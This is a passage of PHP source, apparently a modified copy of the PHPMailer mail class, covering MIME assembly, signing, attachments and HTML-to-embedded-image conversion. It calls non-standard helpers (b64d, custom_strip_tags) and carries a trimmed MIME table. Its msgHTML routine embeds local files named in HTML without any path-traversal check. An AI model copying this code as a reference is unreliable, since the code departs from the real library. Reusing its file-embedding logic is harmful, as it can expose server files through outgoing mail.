  1666.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1667.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1668.                 $body .= $this->LE . $this->LE;
  1669.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1670.                 break;
  1671.             case 'inline_attach':
  1672.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1673.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1674.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1675.                 $body .= $this->LE;
  1676.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1677.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1678.                 $body .= $this->LE . $this->LE;
  1679.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1680.                 $body .= $this->LE;
  1681.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1682.                 break;
  1683.             case 'alt':
  1684.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1685.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1686.                 $body .= $this->LE . $this->LE;
  1687.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1688.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1689.                 $body .= $this->LE . $this->LE;
  1690.                 if (!empty($this->Ical)) {
  1691.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1692.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  1693.                     $body .= $this->LE . $this->LE;
  1694.                 }
  1695.                 $body .= $this->endBoundary($this->boundary[1]);
  1696.                 break;
  1697.             case 'alt_inline':
  1698.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1699.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1700.                 $body .= $this->LE . $this->LE;
  1701.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1702.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1703.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1704.                 $body .= $this->LE;
  1705.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1706.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1707.                 $body .= $this->LE . $this->LE;
  1708.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1709.                 $body .= $this->LE;
  1710.                 $body .= $this->endBoundary($this->boundary[1]);
  1711.                 break;
  1712.             case 'alt_attach':
  1713.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1714.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1715.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1716.                 $body .= $this->LE;
  1717.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1718.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1719.                 $body .= $this->LE . $this->LE;
  1720.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1721.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1722.                 $body .= $this->LE . $this->LE;
  1723.                 $body .= $this->endBoundary($this->boundary[2]);
  1724.                 $body .= $this->LE;
  1725.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1726.                 break;
  1727.             case 'alt_inline_attach':
  1728.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1729.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1730.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1731.                 $body .= $this->LE;
  1732.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1733.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1734.                 $body .= $this->LE . $this->LE;
  1735.                 $body .= $this->textLine('--' . $this->boundary[2]);
  1736.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1737.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1738.                 $body .= $this->LE;
  1739.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1740.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1741.                 $body .= $this->LE . $this->LE;
  1742.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  1743.                 $body .= $this->LE;
  1744.                 $body .= $this->endBoundary($this->boundary[2]);
  1745.                 $body .= $this->LE;
  1746.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1747.                 break;
  1748.             default:
  1749.                 // catch case 'plain' and case ''
  1750.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1751.                 break;
  1752.         }
  1753.         if ($this->isError()) {
  1754.             $body = '';
  1755.         } elseif ($this->sign_key_file) {
  1756.             try {
  1757.                 if (!defined('PKCS7_TEXT')) {
  1758.                     throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1759.                 }
  1760.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1761.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  1762.                 if (false === file_put_contents($file, $body)) {
  1763.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1764.                 }
  1765.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1766.                 if (@openssl_pkcs7_sign(
  1767.                     $file,
  1768.                     $signed,
  1769.                     'file://' . realpath($this->sign_cert_file),
  1770.                     array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1771.                     null
  1772.                 )
  1773.                 ) {
  1774.                     @unlink($file);
  1775.                     $body = file_get_contents($signed);
  1776.                     @unlink($signed);
  1777.                 } else {
  1778.                     @unlink($file);
  1779.                     @unlink($signed);
  1780.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1781.                 }
  1782.             } catch (phpmailerException $exc) {
  1783.                 $body = '';
  1784.                 if ($this->exceptions) {
  1785.                     throw $exc;
  1786.                 }
  1787.             }
  1788.         }
  1789.         return $body;
  1790.     }
  1791.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1792.     {
  1793.         $result = '';
  1794.         if ($charSet == '') {
  1795.             $charSet = $this->CharSet;
  1796.         }
  1797.         if ($contentType == '') {
  1798.             $contentType = $this->ContentType;
  1799.         }
  1800.         if ($encoding == '') {
  1801.             $encoding = $this->Encoding;
  1802.         }
  1803.         $result .= $this->textLine('--' . $boundary);
  1804.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1805.         $result .= $this->LE;
  1806.         // RFC1341 part 5 says 7bit is assumed if not specified
  1807.         if ($encoding != '7bit') {
  1808.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1809.         }
  1810.         $result .= $this->LE;
  1811.         return $result;
  1812.     }
  1813.     protected function endBoundary($boundary)
  1814.     {
  1815.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1816.     }
  1817.     protected function setMessageType()
  1818.     {
  1819.         $type = array();
  1820.         if ($this->alternativeExists()) {
  1821.             $type[] = 'alt';
  1822.         }
  1823.         if ($this->inlineImageExists()) {
  1824.             $type[] = 'inline';
  1825.         }
  1826.         if ($this->attachmentExists()) {
  1827.             $type[] = 'attach';
  1828.         }
  1829.         $this->message_type = implode('_', $type);
  1830.         if ($this->message_type == '') {
  1831.             $this->message_type = 'plain';
  1832.         }
  1833.     }
  1834.     public function headerLine($name, $value)
  1835.     {
  1836.         return $name . ': ' . $value . $this->LE;
  1837.     }
  1838.     public function textLine($value)
  1839.     {
  1840.         return $value . $this->LE;
  1841.     }
  1842.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1843.     {
  1844.         try {
  1845.             if (!@is_file($path)) {
  1846.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1847.             }
  1848.             // If a MIME type is not specified, try to work it out from the file name
  1849.             if ($type == '') {
  1850.                 $type = self::filenameToType($path);
  1851.             }
  1852.             $filename = basename($path);
  1853.             if ($name == '') {
  1854.                 $name = $filename;
  1855.             }
  1856.             $this->attachment[] = array(
  1857.                 0 => $path,
  1858.                 1 => $filename,
  1859.                 2 => $name,
  1860.                 3 => $encoding,
  1861.                 4 => $type,
  1862.                 5 => false, // isStringAttachment
  1863.                 6 => $disposition,
  1864.                 7 => 0
  1865.             );
  1866.         } catch (phpmailerException $exc) {
  1867.             $this->setError($exc->getMessage());
  1868.             $this->edebug($exc->getMessage());
  1869.             if ($this->exceptions) {
  1870.                 throw $exc;
  1871.             }
  1872.             return false;
  1873.         }
  1874.         return true;
  1875.     }
  1876.     public function getAttachments()
  1877.     {
  1878.         return $this->attachment;
  1879.     }
  1880.     protected function attachAll($disposition_type, $boundary)
  1881.     {
  1882.         // Return text of body
  1883.         $mime = array();
  1884.         $cidUniq = array();
  1885.         $incl = array();
  1886.         // Add all attachments
  1887.         foreach ($this->attachment as $attachment) {
  1888.             // Check if it is a valid disposition_filter
  1889.             if ($attachment[6] == $disposition_type) {
  1890.                 // Check for string attachment
  1891.                 $string = '';
  1892.                 $path = '';
  1893.                 $bString = $attachment[5];
  1894.                 if ($bString) {
  1895.                     $string = $attachment[0];
  1896.                 } else {
  1897.                     $path = $attachment[0];
  1898.                 }
  1899.                 $inclhash = md5(serialize($attachment));
  1900.                 if (in_array($inclhash, $incl)) {
  1901.                     continue;
  1902.                 }
  1903.                 $incl[] = $inclhash;
  1904.                 $name = $attachment[2];
  1905.                 $encoding = $attachment[3];
  1906.                 $type = $attachment[4];
  1907.                 $disposition = $attachment[6];
  1908.                 $cid = $attachment[7];
  1909.                 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1910.                     continue;
  1911.                 }
  1912.                 $cidUniq[$cid] = true;
  1913.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1914.                 $mime[] = sprintf(
  1915.                     'Content-Type: %s; name="%s"%s',
  1916.                     $type,
  1917.                     $this->encodeHeader($this->secureHeader($name)),
  1918.                     $this->LE
  1919.                 );
  1920.                 // RFC1341 part 5 says 7bit is assumed if not specified
  1921.                 if ($encoding != '7bit') {
  1922.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1923.                 }
  1924.                 if ($disposition == 'inline') {
  1925.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1926.                 }
  1927.                 // If a filename contains any of these chars, it should be quoted,
  1928.                 // but not otherwise: RFC2183 & RFC2045 5.1
  1929.                 // Fixes a warning in IETF's msglint MIME checker
  1930.                 // Allow for bypassing the Content-Disposition header totally
  1931.                 if (!(empty($disposition))) {
  1932.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1933.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1934.                         $mime[] = sprintf(
  1935.                             'Content-Disposition: %s; filename="%s"%s',
  1936.                             $disposition,
  1937.                             $encoded_name,
  1938.                             $this->LE . $this->LE
  1939.                         );
  1940.                     } else {
  1941.                         $mime[] = sprintf(
  1942.                             'Content-Disposition: %s; filename=%s%s',
  1943.                             $disposition,
  1944.                             $encoded_name,
  1945.                             $this->LE . $this->LE
  1946.                         );
  1947.                     }
  1948.                 } else {
  1949.                     $mime[] = $this->LE;
  1950.                 }
  1951.                 // Encode as string attachment
  1952.                 if ($bString) {
  1953.                     $mime[] = $this->encodeString($string, $encoding);
  1954.                     if ($this->isError()) {
  1955.                         return '';
  1956.                     }
  1957.                     $mime[] = $this->LE . $this->LE;
  1958.                 } else {
  1959.                     $mime[] = $this->encodeFile($path, $encoding);
  1960.                     if ($this->isError()) {
  1961.                         return '';
  1962.                     }
  1963.                     $mime[] = $this->LE . $this->LE;
  1964.                 }
  1965.             }
  1966.         }
  1967.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1968.         return implode('', $mime);
  1969.     }
  1970.     protected function encodeFile($path, $encoding = 'base64')
  1971.     {
  1972.         try {
  1973.             if (!is_readable($path)) {
  1974.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1975.             }
  1976.             $magic_quotes = get_magic_quotes_runtime();
  1977.             if ($magic_quotes) {
  1978.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1979.                     set_magic_quotes_runtime(false);
  1980.                 } else {
  1981.                     ini_set('magic_quotes_runtime', 0);
  1982.                 }
  1983.             }
  1984.             $file_buffer = file_get_contents($path);
  1985.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  1986.             if ($magic_quotes) {
  1987.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1988.                     set_magic_quotes_runtime($magic_quotes);
  1989.                 } else {
  1990.                     ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  1991.                 }
  1992.             }
  1993.             return $file_buffer;
  1994.         } catch (Exception $exc) {
  1995.             $this->setError($exc->getMessage());
  1996.             return '';
  1997.         }
  1998.     }
  1999.     public function encodeString($str, $encoding = 'base64')
  2000.     {
  2001.         $encoded = '';
  2002.         switch (strtolower($encoding)) {
  2003.             case 'base64':
  2004.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2005.                 break;
  2006.             case '7bit':
  2007.             case '8bit':
  2008.                 $encoded = $this->fixEOL($str);
  2009.                 // Make sure it ends with a line break
  2010.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2011.                     $encoded .= $this->LE;
  2012.                 }
  2013.                 break;
  2014.             case 'binary':
  2015.                 $encoded = $str;
  2016.                 break;
  2017.             case 'quoted-printable':
  2018.                 $encoded = $this->encodeQP($str);
  2019.                 break;
  2020.             default:
  2021.                 $this->setError($this->lang('encoding') . $encoding);
  2022.                 break;
  2023.         }
  2024.         return $encoded;
  2025.     }
  2026.     public function encodeHeader($str, $position = 'text')
  2027.     {
  2028.         $matchcount = 0;
  2029.         switch (strtolower($position)) {
  2030.             case 'phrase':
  2031.                 if (!preg_match('/[\200-\377]/', $str)) {
  2032.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2033.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2034.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2035.                         return ($encoded);
  2036.                     } else {
  2037.                         return ("\"$encoded\"");
  2038.                     }
  2039.                 }
  2040.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2041.                 break;
  2042.             /** @noinspection PhpMissingBreakStatementInspection */
  2043.             case 'comment':
  2044.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2045.                 // Intentional fall-through
  2046.             case 'text':
  2047.             default:
  2048.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2049.                 break;
  2050.         }
  2051.         if ($matchcount == 0) { // There are no chars that need encoding
  2052.             return ($str);
  2053.         }
  2054.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2055.         // Try to select the encoding which should produce the shortest output
  2056.         if ($matchcount > strlen($str) / 3) {
  2057.             // More than a third of the content will need encoding, so B encoding will be most efficient
  2058.             $encoding = 'B';
  2059.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2060.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2061.             } else {
  2062.                 $encoded = base64_encode($str);
  2063.                 $maxlen -= $maxlen % 4;
  2064.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2065.             }
  2066.         } else {
  2067.             $encoding = 'Q';
  2068.             $encoded = $this->encodeQ($str, $position);
  2069.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2070.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2071.         }
  2072.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2073.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2074.         return $encoded;
  2075.     }
  2076.  
  2077.     public function hasMultiBytes($str)
  2078.     {
  2079.         if (function_exists('mb_strlen')) {
  2080.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2081.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2082.             return false;
  2083.         }
  2084.     }
  2085.  
  2086.     public function has8bitChars($text)
  2087.     {
  2088.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2089.     }
  2090.  
  2091.     public function base64EncodeWrapMB($str, $linebreak = null)
  2092.     {
  2093.         $start = '=?' . $this->CharSet . '?B?';
  2094.         $end = '?=';
  2095.         $encoded = '';
  2096.         if ($linebreak === null) {
  2097.             $linebreak = $this->LE;
  2098.         }
  2099.         $mb_length = mb_strlen($str, $this->CharSet);
  2100.         // Each line must have length <= 75, including $start and $end
  2101.         $length = 75 - strlen($start) - strlen($end);
  2102.         // Average multi-byte ratio
  2103.         $ratio = $mb_length / strlen($str);
  2104.         // Base64 has a 4:3 ratio
  2105.         $avgLength = floor($length * $ratio * .75);
  2106.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2107.             $lookBack = 0;
  2108.             do {
  2109.                 $offset = $avgLength - $lookBack;
  2110.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2111.                 $chunk = base64_encode($chunk);
  2112.                 $lookBack++;
  2113.             } while (strlen($chunk) > $length);
  2114.             $encoded .= $chunk . $linebreak;
  2115.         }
  2116.         // Chomp the last linefeed
  2117.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2118.         return $encoded;
  2119.     }
  2120.  
  2121.     public function encodeQP($string, $line_max = 76)
  2122.     {
  2123.         if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2124.             return $this->fixEOL(quoted_printable_encode($string));
  2125.         }
  2126.         // Fall back to a pure PHP implementation
  2127.         $string = str_replace(
  2128.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2129.             array(' ', "\r\n=2E", "\r\n", '='),
  2130.             rawurlencode($string)
  2131.         );
  2132.         $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2133.         return $this->fixEOL($string);
  2134.     }
  2135.  
  2136.     public function encodeQPphp(
  2137.         $string,
  2138.         $line_max = 76,
  2139.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2140.     ) {
  2141.         return $this->encodeQP($string, $line_max);
  2142.     }
  2143.  
  2144.     public function encodeQ($str, $position = 'text')
  2145.     {
  2146.         // There should not be any EOL in the string
  2147.         $pattern = '';
  2148.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2149.         switch (strtolower($position)) {
  2150.             case 'phrase':
  2151.                 // RFC 2047 section 5.3
  2152.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2153.                 break;
  2154.             /** @noinspection PhpMissingBreakStatementInspection */
  2155.             case 'comment':
  2156.                 // RFC 2047 section 5.2
  2157.                 $pattern = '\(\)"';
  2158.             case 'text':
  2159.             default:
  2160.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2161.                 break;
  2162.         }
  2163.         $matches = array();
  2164.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2165.             $eqkey = array_search('=', $matches[0]);
  2166.             if (false !== $eqkey) {
  2167.                 unset($matches[0][$eqkey]);
  2168.                 array_unshift($matches[0], '=');
  2169.             }
  2170.             foreach (array_unique($matches[0]) as $char) {
  2171.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2172.             }
  2173.         }
  2174.         // Replace every spaces to _ (more readable than =20)
  2175.         return str_replace(' ', '_', $encoded);
  2176.     }
  2177.  
  2178.     public function addStringAttachment(
  2179.         $string,
  2180.         $filename,
  2181.         $encoding = 'base64',
  2182.         $type = '',
  2183.         $disposition = 'attachment'
  2184.     ) {
  2185.         // If a MIME type is not specified, try to work it out from the file name
  2186.         if ($type == '') {
  2187.             $type = self::filenameToType($filename);
  2188.         }
  2189.         // Append to $attachment array
  2190.         $this->attachment[] = array(
  2191.             0 => $string,
  2192.             1 => $filename,
  2193.             2 => basename($filename),
  2194.             3 => $encoding,
  2195.             4 => $type,
  2196.             5 => true, // isStringAttachment
  2197.             6 => $disposition,
  2198.             7 => 0
  2199.         );
  2200.     }
  2201.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2202.     {
  2203.         if (!@is_file($path)) {
  2204.             $this->setError($this->lang('file_access') . $path);
  2205.             return false;
  2206.         }
  2207.         // If a MIME type is not specified, try to work it out from the file name
  2208.         if ($type == '') {
  2209.             $type = self::filenameToType($path);
  2210.         }
  2211.         $filename = basename($path);
  2212.         if ($name == '') {
  2213.             $name = $filename;
  2214.         }
  2215.         // Append to $attachment array
  2216.         $this->attachment[] = array(
  2217.             0 => $path,
  2218.             1 => $filename,
  2219.             2 => $name,
  2220.             3 => $encoding,
  2221.             4 => $type,
  2222.             5 => false, // isStringAttachment
  2223.             6 => $disposition,
  2224.             7 => $cid
  2225.         );
  2226.         return true;
  2227.     }
  2228.  
  2229.     public function addStringEmbeddedImage(
  2230.         $string,
  2231.         $cid,
  2232.         $name = '',
  2233.         $encoding = 'base64',
  2234.         $type = '',
  2235.         $disposition = 'inline'
  2236.     ) {
  2237.         // If a MIME type is not specified, try to work it out from the name
  2238.         if ($type == '') {
  2239.             $type = self::filenameToType($name);
  2240.         }
  2241.         // Append to $attachment array
  2242.         $this->attachment[] = array(
  2243.             0 => $string,
  2244.             1 => $name,
  2245.             2 => $name,
  2246.             3 => $encoding,
  2247.             4 => $type,
  2248.             5 => true, // isStringAttachment
  2249.             6 => $disposition,
  2250.             7 => $cid
  2251.         );
  2252.         return true;
  2253.     }
  2254.     public function inlineImageExists()
  2255.     {
  2256.         foreach ($this->attachment as $attachment) {
  2257.             if ($attachment[6] == 'inline') {
  2258.                 return true;
  2259.             }
  2260.         }
  2261.         return false;
  2262.     }
  2263.     public function attachmentExists()
  2264.     {
  2265.         foreach ($this->attachment as $attachment) {
  2266.             if ($attachment[6] == 'attachment') {
  2267.                 return true;
  2268.             }
  2269.         }
  2270.         return false;
  2271.     }
  2272.     public function alternativeExists()
  2273.     {
  2274.         return !empty($this->AltBody);
  2275.     }
  2276.     public function clearAddresses()
  2277.     {
  2278.         foreach ($this->to as $to) {
  2279.             unset($this->all_recipients[strtolower($to[0])]);
  2280.         }
  2281.         $this->to = array();
  2282.     }
  2283.     public function clearCCs()
  2284.     {
  2285.         foreach ($this->cc as $cc) {
  2286.             unset($this->all_recipients[strtolower($cc[0])]);
  2287.         }
  2288.         $this->cc = array();
  2289.     }
  2290.     public function clearBCCs()
  2291.     {
  2292.         foreach ($this->bcc as $bcc) {
  2293.             unset($this->all_recipients[strtolower($bcc[0])]);
  2294.         }
  2295.         $this->bcc = array();
  2296.     }
  2297.     public function clearReplyTos()
  2298.     {
  2299.         $this->ReplyTo = array();
  2300.     }
  2301.  
  2302.     public function clearAllRecipients()
  2303.     {
  2304.         $this->to = array();
  2305.         $this->cc = array();
  2306.         $this->bcc = array();
  2307.         $this->all_recipients = array();
  2308.     }
  2309.     public function clearAttachments()
  2310.     {
  2311.         $this->attachment = array();
  2312.     }
  2313.     public function clearCustomHeaders()
  2314.     {
  2315.         $this->CustomHeader = array();
  2316.     }
  2317.     protected function setError($msg)
  2318.     {
  2319.         $this->error_count++;
  2320.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2321.             $lasterror = $this->smtp->getError();
  2322.             if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2323.                 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2324.             }
  2325.         }
  2326.         $this->ErrorInfo = $msg;
  2327.     }
  2328.     public static function rfcDate()
  2329.     {
  2330.         // Set the time zone to whatever the default is to avoid 500 errors
  2331.         // Will default to UTC if it's not set properly in php.ini
  2332.         date_default_timezone_set(@date_default_timezone_get());
  2333.         return date('D, j M Y H:i:s O');
  2334.     }
  2335.     protected function serverHostname()
  2336.     {
  2337.         $result = 'localhost.localdomain';
  2338.         if (!empty($this->Hostname)) {
  2339.             $result = $this->Hostname;
  2340.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2341.             $result = $_SERVER['SERVER_NAME'];
  2342.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  2343.             $result = gethostname();
  2344.         } elseif (php_uname('n') !== false) {
  2345.             $result = php_uname('n');
  2346.         }
  2347.         return $result;
  2348.     }
  2349.     protected function lang($key)
  2350.     {
  2351.         if (count($this->language) < 1) {
  2352.             $this->setLanguage('en'); // set the default language
  2353.         }
  2354.         if (isset($this->language[$key])) {
  2355.             return $this->language[$key];
  2356.         } else {
  2357.             return 'Language string failed to load: ' . $key;
  2358.         }
  2359.     }
  2360.     public function isError()
  2361.     {
  2362.         return ($this->error_count > 0);
  2363.     }
  2364.     public function fixEOL($str)
  2365.     {
  2366.         // Normalise to \n
  2367.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2368.         // Now convert LE as needed
  2369.         if ($this->LE !== "\n") {
  2370.             $nstr = str_replace("\n", $this->LE, $nstr);
  2371.         }
  2372.         return $nstr;
  2373.     }
  2374.  
  2375.     public function addCustomHeader($name, $value = null)
  2376.     {
  2377.         if ($value === null) {
  2378.             // Value passed in as name:value
  2379.             $this->CustomHeader[] = explode(':', $name, 2);
  2380.         } else {
  2381.             $this->CustomHeader[] = array($name, $value);
  2382.         }
  2383.     }
  2384.     public function msgHTML($message, $basedir = '', $advanced = false)
  2385.     {
  2386.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2387.         if (isset($images[2])) {
  2388.             foreach ($images[2] as $imgindex => $url) {
  2389.                 // Convert data URIs into embedded images
  2390.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2391.                     $data = substr($url, strpos($url, ',')+1);
  2392.                     if ($match[2]) {
  2393.                         $data = b64d($data);
  2394.                     } else {
  2395.                         $data = rawurldecode($data);
  2396.                     }
  2397.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2398.                     if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2399.                         $message = str_replace(
  2400.                             $images[0][$imgindex],
  2401.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2402.                             $message
  2403.                         );
  2404.                     }
  2405.                 } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2406.                     // Do not change urls for absolute images (thanks to corvuscorax)
  2407.                     $filename = basename($url);
  2408.                     $directory = dirname($url);
  2409.                     if ($directory == '.') {
  2410.                         $directory = '';
  2411.                     }
  2412.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2413.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2414.                         $basedir .= '/';
  2415.                     }
  2416.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2417.                         $directory .= '/';
  2418.                     }
  2419.                     if ($this->addEmbeddedImage(
  2420.                         $basedir . $directory . $filename,
  2421.                         $cid,
  2422.                         $filename,
  2423.                         'base64',
  2424.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2425.                     )
  2426.                     ) {
  2427.                         $message = preg_replace(
  2428.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2429.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2430.                             $message
  2431.                         );
  2432.                     }
  2433.                 }
  2434.             }
  2435.         }
  2436.         $this->isHTML(true);
  2437.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2438.         $this->Body = $this->normalizeBreaks($message);
  2439.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2440.         if (empty($this->AltBody)) {
  2441.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2442.                 self::CRLF . self::CRLF;
  2443.         }
  2444.         return $this->Body;
  2445.     }
  2446.  
  2447.     public function html2text($html, $advanced = false)
  2448.     {
  2449.         if (is_callable($advanced)) {
  2450.             return call_user_func($advanced, $html);
  2451.         }
  2452.         return html_entity_decode(
  2453.             trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2454.             ENT_QUOTES,
  2455.             $this->CharSet
  2456.         );
  2457.     }
  2458.  
  2459.     public static function _mime_types($ext = '')
  2460.     {
  2461.         $mimes = array(
  2462.             'gif'   => 'image/gif',
  2463.             'jpeg'  => 'image/jpeg',
  2464.             'jpe'   => 'image/jpeg',
  2465.             'jpg'   => 'image/jpeg',
  2466.             'png'   => 'image/png',
  2467.             'tiff'  => 'image/tiff',
  2468.             'tif'   => 'image/tiff',
  2469.         );
  2470.         return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  2471.     }
  2472.  
  2473.     public static function filenameToType($filename)
  2474.     {
  2475.         // In case the path is a URL, strip any query string before getting extension
  2476.         $qpos = strpos($filename, '?');
  2477.         if (false !== $qpos) {
  2478.             $filename = substr($filename, 0, $qpos);
  2479.         }
  2480.         $pathinfo = self::mb_pathinfo($filename);
  2481.         return self::_mime_types($pathinfo['extension']);
  2482.     }
  2483.  
  2484.     public static function mb_pathinfo($path, $options = null)
  2485.     {
  2486.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
